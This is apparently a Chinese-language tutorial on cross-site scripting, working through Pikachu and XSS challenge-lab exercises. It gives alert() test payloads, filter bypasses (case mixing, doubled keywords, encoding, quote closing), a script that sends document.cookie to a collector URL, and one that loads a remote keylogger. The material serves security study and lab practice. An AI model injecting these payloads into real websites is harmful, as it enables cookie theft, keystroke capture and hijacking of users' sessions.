XSS跨站脚本攻击

XSS跨站脚本攻击
达达XSS跨站脚本攻击
XSS介绍
什么是xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
XSS危害
通过document.cookie盗取cookie中的信息。
使用js或css破坏页面正常的结构与样式。
流量劫持(通过访问某段具有window.location.href定位到其他页面)。
dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。
XSS的分类
反射型
一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:www.abc.com/?params=x。
存储型
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
DOM型
这种类型则是利用非法输入来闭合对应的html标签。
常用XSSpayload
1 | <script>alert(1)</script> |
反射型XSS或不持久型XSS(中低危)
交互的数据一般不会被存在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性的,所见即所得
存储型XSS或持久型XSS(高危)
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
测试有没有XSS漏洞
1 | <script>alert(123);</script> |
进行弹框测试
1 | <a href="">xxx</a> |
1 | '><img src="#" onmouseover="alert('xss')"> |
DOM XSS(中低危)
通过前端的dom节点形成的XSS漏洞,一般不与后台服务器产生数据交互,属于中低危漏洞
可能触发DOM型XSS的js操作:
1 | document.referer |
xx’ onclick=”alert(‘xss’)”>
攻击方法 ' "><script>confirm(1)</script>
,其中' "
为闭合符号,后面跟script标签来进行攻击
攻击手段
Xss payload
1 | <script>alert('Zer0Lulz')</script> |
XSS可能存在的地方
只要是有用户输入输出,用户交互等一些地方,都可能存在xss漏洞
参考xss跨站脚本攻击文档
XSS测试方法
1.工具扫描:APPscan AWVS xray都大型漏洞工具,xsstrike等自动化小工具
http://github.com/s0md3v/XSStrike
实战
xss平台搭建及后台使用(cookie获取)
存储型
过程:想要盗取别人的cookie信息的话有一个前提条件就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据
1 | '"><script>document.location = 'http://192.168.0.15/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> |
因为是存储型xss 写入的js代码被存储会一直执行 所以要进数据库删除一下
反射型XSS Cookie获取 需要伪造一个html文件 让别人错误访问
1 | <html> |
xss获取键盘记录
1 | '"><script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script> |
打开下面文件 修改一些ip地址
C:\phpstudy_pro\WWW\pikachu\pkxss\rkeypress
存储型界面输入上述js代码 新开一个网页输入数据 去pikachu的键盘记录里就可以看到
XSS盲打
xss盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意js代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。
管理员地址:http://127.0.0.1/pikachu/vul/xss/xssblind/admin.php
pikachu盲打:
1 | 1111'"><script>alert(666)</script> |
xss绕过
XSS常规防范
xss防御的总体思路是:对输入进行过滤,特殊符号,单引号,双引号,尖括号之类的,对输出进行编码过滤:根据业务需求,比如输出点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面进行js转义
大小写绕过 复写绕过
或者不用script标签 用 img iframe标签之类的
1 | <img src=# onerror="alert('jaden')"/> |
编码绕过
xss绕过之htmlspecialchars()函数
php里面的这个htmlspecialchars()函数把一些预定义的字符串转换为HTML实体
1 | 预定义的字符是:这就是我们学到的html编码 |
该函数的语法:htmlspecilachars(string,flags,character-set,double_encode)
过滤原理:htmlspecialchars()函数把预定义的字符串转换为HTML实体,从而使XSS攻击失败,但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
可用quotestyle类型:
ENT-COMPAT -默认。仅编码双引号,也就是默认情况下不对单引号进行处理
ENT_QUOTES -编码单引号和双引号
ENT_NOQUOTES -不编码任何引号
1 | ' onclick='alert(123)' 仅编码双引号 |
xss之js输出
1 | </script><script>alert('111')</script> |
先加一个
1 | </script> 闭合一下 再输入js代码 |
同源和跨域
XSS靶场练习
第一关
没有任何防范
1 | <script>alert(123)</script> |
第二关
1 | <script>alert(123)</script> |
用单双引号 > 闭合一下
1 | '"><script>alert(123)</script> |
第三关
1 | jaden'"><script>alert(123)</script> |
测试
htmlspecialchars()绕过
1 | ' onclick='alert(123)' |
搜索之后再点击一下输入框
input事件可以用onclick事件和onfocus,onblur事件触发
1 | ' onfocus='alert(123)' |
第四关
双引号闭合
1 | '" onclick='alert(123)' |
第五关
1 | ' onblur='alert(123)' |
1 | '"><a href='javascript:alert(123)'> |
第六关
大小写混合绕过
1 | '"><a hREf='javascript:alert(123)'>da</a> |
第七关
1 | '"><a hREf='javascript:alert(123)'>da</a> |
href 和 script被替换 双写
1 | '"><a hrhrefef='javascrscriptipt:alert(123)'>da</a> |
第八关
1 | '"><a hREf='javascript:alert(123)'>da</a> |
编码绕过
javascript:alert(“jaden”)
1 | javascript:alert("jaden") |
第九关
判断了http协议 再利用注释符绕过
1 | javascript:alert(123)//http:// |
第十关
没有输入框 源码里还有三个参数 测试哪个可以利用
1 | ?name=jaden&t_link=aa&bb&t_sort=cc |
发现cc输出 利用 to_sort
1 | ?name=jaden&t_link=aa&bb&t_sort='" onclick='alert(123)' |
hidden 会讲输入框隐藏 在查看器里删除hidden 出现输入框
第十一关
要改referer请求头
bp抓包一下修改
可以发现成功写入了 删除hidden 点击
第十二关
这一关是UA头
改User-Agent头为 ‘“ onclick=’alert(123)’
第十三关
这里是cookie